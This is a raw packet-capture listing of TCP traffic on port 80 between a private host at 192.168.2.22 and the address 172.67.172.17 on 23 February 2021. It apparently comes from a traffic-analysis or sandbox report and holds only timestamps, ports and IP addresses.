Feb 23, 2021 16:55:35.869750023 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.870920897 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.870964050 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871012926 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871045113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871064901 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871076107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871093035 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871108055 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871140003 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871197939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871198893 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871232033 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871273041 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871294022 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871613979 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871650934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871690989 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871720076 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871722937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871756077 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871777058 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871793985 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871841908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871870041 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.871874094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871906042 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871937990 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.871942997 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.872003078 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.873568058 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873601913 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873631001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873663902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873699903 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.873703957 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873728037 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.873735905 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873766899 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873801947 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.873801947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873835087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.873852015 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.873867035 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.874182940 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.875459909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875493050 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875524998 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875565052 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875593901 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875597000 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.875624895 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875648975 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.875657082 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875689030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875726938 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.875746965 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.875757933 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876487970 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876524925 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876554966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876586914 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876610041 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.876619101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876653910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876660109 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.876698971 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876720905 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.876730919 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.876888037 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877307892 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877342939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877373934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877434015 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877440929 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877475023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877512932 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877537012 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877545118 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877577066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877589941 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877608061 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877635956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877685070 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877708912 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877754927 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877789974 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877829075 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877855062 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877861023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877895117 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877913952 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877934933 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877950907 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.877964973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.877995968 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878021002 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878026962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878060102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878088951 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878089905 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878186941 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878434896 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878736019 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878772974 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878813028 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878844023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878863096 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878875017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878906012 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878906965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878937006 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.878952980 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.878969908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879000902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879050016 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879060030 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879086018 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879250050 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879316092 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879614115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879648924 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879679918 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879713058 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879736900 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879751921 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879777908 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879782915 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879813910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879826069 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.879846096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879875898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879914045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.879945040 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880006075 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.880024910 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.880258083 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.880530119 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880562067 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880601883 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880634069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880639076 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.880691051 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.880853891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880888939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880930901 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880963087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.880970001 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.881001949 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881010056 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.881035089 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881066084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881105900 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881134033 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.881135941 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881187916 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881233931 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881259918 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.881850958 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.881885052 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882006884 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882025957 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882061005 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882102013 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882131100 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882133007 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882164001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882194042 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882196903 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882229090 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882246017 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882260084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882292032 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882365942 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882468939 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882678986 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882711887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882751942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882754087 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882786989 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882792950 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882821083 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882847071 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882850885 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882882118 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882921934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882949114 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.882953882 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.882985115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883033037 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883044958 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.883588076 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883622885 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883665085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883697033 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883698940 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.883728981 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883759022 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.883759975 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883793116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883811951 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.883824110 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883857012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883894920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.883922100 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.883927107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884111881 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.884294033 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.884511948 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884547949 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884578943 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884610891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884639025 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.884645939 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.884653091 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884685040 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884725094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884752035 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.884757042 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884788036 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884819031 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884856939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.884994984 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885090113 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885092974 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885108948 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885430098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885466099 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885515928 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885550976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885555029 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885582924 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885585070 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885613918 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885646105 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885678053 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885699987 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885716915 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885731936 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.885749102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885781050 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.885843039 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.886287928 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886308908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886341095 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886359930 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886368036 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.886380911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886394978 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.886399984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886420012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886426926 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.886439085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886456966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886480093 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886493921 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.886498928 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.886950970 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.887167931 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887188911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887212992 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887231112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887234926 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.887267113 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.887505054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887525082 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887550116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887567997 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887588978 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887608051 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887635946 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887654066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887676954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887695074 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887712955 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.887782097 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.887826920 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.894371986 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.900233030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.900276899 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.900315046 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.900412083 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.915735960 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.915770054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.916038990 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.917941093 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.917974949 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.918015957 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.918087959 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.386945009 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.433958054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.452714920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.452824116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.452888012 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.452907085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.452950954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.452991962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453023911 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453032017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453100920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453141928 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453175068 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453182936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453224897 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453257084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453430891 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453597069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453640938 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453679085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453722000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453752995 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453772068 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453809023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453830957 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453850985 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453891039 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453933001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.453947067 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.453970909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454010963 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454051018 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454093933 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.454101086 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454144955 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454183102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454222918 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.454225063 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454267025 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454304934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454341888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454380035 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454404116 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.454407930 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.454428911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454472065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.454560041 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.455738068 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456020117 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456075907 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456134081 CET	80	49168	172.67.172.17	192.168.2.22
